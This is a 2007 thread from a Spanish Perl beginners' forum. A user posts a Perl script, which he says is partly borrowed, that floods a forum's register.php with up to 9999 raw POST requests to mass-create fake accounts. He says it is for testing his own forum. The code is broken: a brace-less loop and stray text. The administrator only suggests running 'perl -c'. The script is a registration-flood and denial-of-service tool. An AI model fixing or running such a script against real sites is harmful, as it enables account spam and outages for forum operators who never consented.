• Publicidad

Problema con envío datos

¿Apenas comienzas con Perl? En este foro podrás encontrar y hacer preguntas básicas de Perl con respuestas aptas a tu nivel.

Problema con envío datos

Notapor Azrack » 2007-04-14 13:49 @617

Hola todos. Disculpen, tengo un problema. Miren, tengo un foro que no tiene un sistema antirobots, es decir, te registra sólo con poner user, password y mail.
Entonces estoy intentando hacer un script que cree una cantidad de user para ver si mi foro cae pero no puedo hacerlo funcionar. Ahí dejo mi código para que me corrijan. Gracias.

Sintáxis: [ Descargar ] [ Ocultar ]
  1. #!/usr/bin/perl 
  2.  
  3. use IO::Socket; 
  4.  
  5. $x = 0; 
  6.  
  7. print q(register user xD); 
  8.  
  9. print q(Host |sin http://www.| ); 
  10. $host = <STDIN>; 
  11. chop ($host); 
  12.  
  13. print q(Ruta del foro |ejemplo. /foro/ or /| ); 
  14. $pth = <STDIN>; 
  15. chop ($pth); 
  16.  
  17. start: 
  18. print q(Flood Type |1 = Registrar| ); 
  19. $type = <STDIN>; 
  20. chop ($type); 
  21.  
  22. if($type == 1){ 
  23.  
  24. while($x != 9999) 
  25.  
  26. ## Creando el usuario 
  27. $uname = "user__" . "$x"; 
  28.  
  29. ## Ceando el mail del usuario 
  30. $umail = "&email=mail__" . "$x"; 
  31.  
  32. ## String Final a enviar 
  33. $postit =  
  34.  
  35. "step=2&username=.$uname.&displayname=.$uname.&password=0123456&passwor 
  36.  
  37. dconfirm=0123456.$umail.%40msn.com&submit=Submit%21"; 
  38.  
  39. ## Longitud del String 
  40. $lrg = length $postit; 
  41.  
  42. ## Connect Socket with Variables Provided By User 
  43. my $sock = new IO::Socket::INET ( 
  44. PeerAddr => "$host", 
  45. PeerPort => "80", 
  46. Proto => "tcp", 
  47. ); 
  48. die "\nThe Socket Can't Connect To The Desired Host or the Host is  
  49.  
  50. MayBe DoSed: $!\n" unless $sock; 
  51.  
  52.  
  53. Forums 
  54. print $sock "POST $pth"."register.php HTTP/1.1\n"; 
  55. print $sock "Host: $host\n"; 
  56. print $sock "Accept:  
  57.  
  58. text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/pla 
  59.  
  60. in;q=0.8,image/png,*/*;q=0.5\n"; 
  61. print $sock "Referer: $host\n"; 
  62. print $sock "Accept-Language: en-us\n"; 
  63. print $sock "Content-Type: application/x-www-form-urlencoded\n"; 
  64. print $sock "Accept-Encoding: gzip, deflate\n"; 
  65. print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US;  
  66.  
  67. rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n"; 
  68. print $sock "Connection: Keep-Alive\n"; 
  69. print $sock "Cache-Control: no-cache\n"; 
  70. print $sock "Content-Length: $lrg\n\n"; 
  71. print $sock "$postit\n"; 
  72. close($sock); 
  73.  
  74.  
  75. syswrite STDOUT, "."; 
  76.  
  77. $x++; 
  78.  
  79.  
  80. elsif ($type != 1){ 
  81. print q( 
  82. ÉÍÍÍÍÍÍÍÍÍÍÍÍ» 
  83. º Solo 1 wey º 
  84. ÈÍÍÍÍÍÍÍÍÍÍÍͼ 
  85.  
  86. ); 
  87. goto start; 

Si desean dejo también la url de mi foro. Bueno, espero su ayuda. Gracias.
PD: me basé en otro código para hacerlo, así que el código no es totalmente mío.
Azrack
Perlero nuevo
Perlero nuevo
 
Mensajes: 19
Registrado: 2007-04-14 13:42 @613

Publicidad

Notapor explorer » 2007-04-14 18:26 @809

Bienvenido a los foros de Perl en Español.

Sería interesante que lo ejecutaras con la opción perl -c programa.pl para ver si te devuelve algún error.
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14480
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España


Volver a Básico

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 9 invitados